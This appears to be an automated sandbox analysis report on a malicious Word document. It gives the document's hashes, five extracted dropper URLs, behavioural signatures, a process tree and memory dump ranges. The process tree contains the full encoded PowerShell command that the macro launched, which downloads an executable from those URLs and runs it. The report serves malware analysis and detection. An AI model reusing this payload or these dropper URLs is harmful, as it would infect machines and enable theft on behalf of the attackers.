Analysis

  • max time kernel
    101s
  • max time network
    49s
  • platform
    windows7_x64
  • resource
    win7-20220715-en
  • resource tags

    arch:x64arch:x86image:win7-20220715-enlocale:en-usos:windows7-x64system
  • submitted
    31-07-2022 08:14

General

  • Target

    5c0e8c8cb4b045e9683ca8f2e266b1fef7e1240fc1e3059e876c273745ea1592.doc

  • Size

    124KB

  • MD5

    556e310b5782d2a207bae407584b532f

  • SHA1

    22ed107569ede12a725720b2bef7728fb49db948

  • SHA256

    5c0e8c8cb4b045e9683ca8f2e266b1fef7e1240fc1e3059e876c273745ea1592

  • SHA512

    5e4b1f9e2981920c5d9d37932e2a3cf471991342dad8966cb6dca8fcece20edd0657f16504f0f3d4849e57e1b3b8cf633193de566a8ffc3345313ccf17591973

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://overcreative.com/css/shecgesia_cjtf7s6-2586658720/

exe.dropper

http://antonresidential.com/wkdrlk/papkaa17/NujUJetNy/

exe.dropper

http://gawaher-services.com/nngb24y/vXGApWUwd/

exe.dropper

http://thepropertydealerz.com/cgi-bin/5ze7vs_tgt6e3k-5/

exe.dropper

http://guimaraesconstrutorasjc.com.br/wp-content/NTlTZtAUB/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5c0e8c8cb4b045e9683ca8f2e266b1fef7e1240fc1e3059e876c273745ea1592.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1940
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1704
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy bypass -WindowStyle Hidden -noprofile -e JABOAF8ANABfADAANQA3AF8APQAnAHUAMAAyAF8AOQAwACcAOwAkAFUAOQA2ADQAOQAxADcAXwAgAD0AIAAnADcANwAwACcAOwAkAHcAMwA1ADYAXwA3AD0AJwBWADEAMQAyADYAMgA5ACcAOwAkAHMANgA5ADgAMQBfADEAMgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVQA5ADYANAA5ADEANwBfACsAJwAuAGUAeABlACcAOwAkAEwAOQAwADcANAAxADQAXwA9ACcAaAA3ADcAMAAzADEAOAAnADsAJABtADAAMQA0ADkAOQAwAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAdABgAC4AVwBgAEUAQgBDAGwASQBlAGAATgB0ADsAJABhADMANAAwADMANwA5AD0AJwBoAHQAdABwAHMAOgAvAC8AbwB2AGUAcgBjAHIAZQBhAHQAaQB2AGUALgBjAG8AbQAvAGMAcwBzAC8AcwBoAGUAYwBnAGUAcwBpAGEAXwBjAGoAdABmADcAcwA2AC0AMgA1ADgANgA2ADUAOAA3ADIAMAAvAEAAaAB0AHQAcAA6AC8ALwBhAG4AdABvAG4AcgBlAHMAaQBkAGUAbgB0AGkAYQBsAC4AYwBvAG0ALwB3AGsAZAByAGwAawAvAHAAYQBwAGsAYQBhADEANwAvAE4AdQBqAFUASgBlAHQATgB5AC8AQABoAHQAdABwADoALwAvAGcAYQB3AGEAaABlAHIALQBzAGUAcgB2AGkAYwBlAHMALgBjAG8AbQAvAG4AbgBnAGIAMgA0AHkALwB2AFgARwBBAHAAVwBVAHcAZAAvAEAAaAB0AHQAcAA6AC8ALwB0AGgAZQBwAHIAbwBwAGUAcgB0AHkAZABlAGEAbABlAHIAegAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvADUAegBlADcAdgBzAF8AdABnAHQANgBlADMAawAtADUALwBAAGgAdAB0AHAAOgAvAC8AZwB1AGkAbQBhAHIAYQBlAHMAYwBvAG4AcwB0AHIAdQB0AG8AcgBhAHMAagBjAC4AYwBvAG0ALgBiAHIALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ATgBUAGwAVABaAHQAQQBVAEIALwAnAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQAcwA1ADQANAAyAF8AMwA9ACcASAA1ADgANQAzADAANwBfACcAOwBmAG8AcgBlAGEAYwBoACgAJABaADEAOQA5ADEAOQA1AF8AIABpAG4AIAAkAGEAMwA0ADAAMwA3ADkAKQB7AHQAcgB5AHsAJABtADAAMQA0ADkAOQAwAC4ARABvAFcATgBsAG8AYQBkAEYAaQBsAGUAKAAkAFoAMQA5ADkAMQA5ADUAXwAsACAAJABzADYAOQA4ADEAXwAxADIAKQA7ACQAagAzADEANwBfADEAMQAwAD0AJwBxADIAOQA0ADIAMAAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAHMANgA5ADgAMQBfADEAMgApAC4AbABlAG4ARwBUAEgAIAAtAGcAZQAgADIAOQAyADIAOAApACAAewAmACgAJwBJAG4AdgBvAGsAZQAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABzADYAOQA4ADEAXwAxADIAOwAkAGoAOAAyADEANgA5ADcAPQAnAFYAOAAzADMANQAxACcAOwBiAHIAZQBhAGsAOwAkAG4AMAA1ADQAMgAxADUAPQAnAEMAOAA1ADQANAA1ADkANwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABhADMANwA5ADUAMgA9ACcASgAwADcAOQA5ADEAOAAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1700

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1700-64-0x000007FEF3FB0000-0x000007FEF49D3000-memory.dmp

      Filesize

      10.1MB

    • memory/1700-70-0x000000000239B000-0x00000000023BA000-memory.dmp

      Filesize

      124KB

    • memory/1700-69-0x0000000002394000-0x0000000002397000-memory.dmp

      Filesize

      12KB

    • memory/1700-68-0x000000000239B000-0x00000000023BA000-memory.dmp

      Filesize

      124KB

    • memory/1700-67-0x000000001B6F0000-0x000000001B9EF000-memory.dmp

      Filesize

      3.0MB

    • memory/1700-65-0x000007FEF3450000-0x000007FEF3FAD000-memory.dmp

      Filesize

      11.4MB

    • memory/1700-66-0x0000000002394000-0x0000000002397000-memory.dmp

      Filesize

      12KB

    • memory/1704-59-0x000007FEFC441000-0x000007FEFC443000-memory.dmp

      Filesize

      8KB

    • memory/1940-62-0x0000000000757000-0x0000000000778000-memory.dmp

      Filesize

      132KB

    • memory/1940-61-0x0000000000757000-0x0000000000778000-memory.dmp

      Filesize

      132KB

    • memory/1940-60-0x00000000717FD000-0x0000000071808000-memory.dmp

      Filesize

      44KB

    • memory/1940-54-0x0000000072D91000-0x0000000072D94000-memory.dmp

      Filesize

      12KB

    • memory/1940-57-0x00000000762A1000-0x00000000762A3000-memory.dmp

      Filesize

      8KB

    • memory/1940-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1940-55-0x0000000070811000-0x0000000070813000-memory.dmp

      Filesize

      8KB

    • memory/1940-71-0x00000000717FD000-0x0000000071808000-memory.dmp

      Filesize

      44KB

    • memory/1940-72-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1940-73-0x00000000717FD000-0x0000000071808000-memory.dmp

      Filesize

      44KB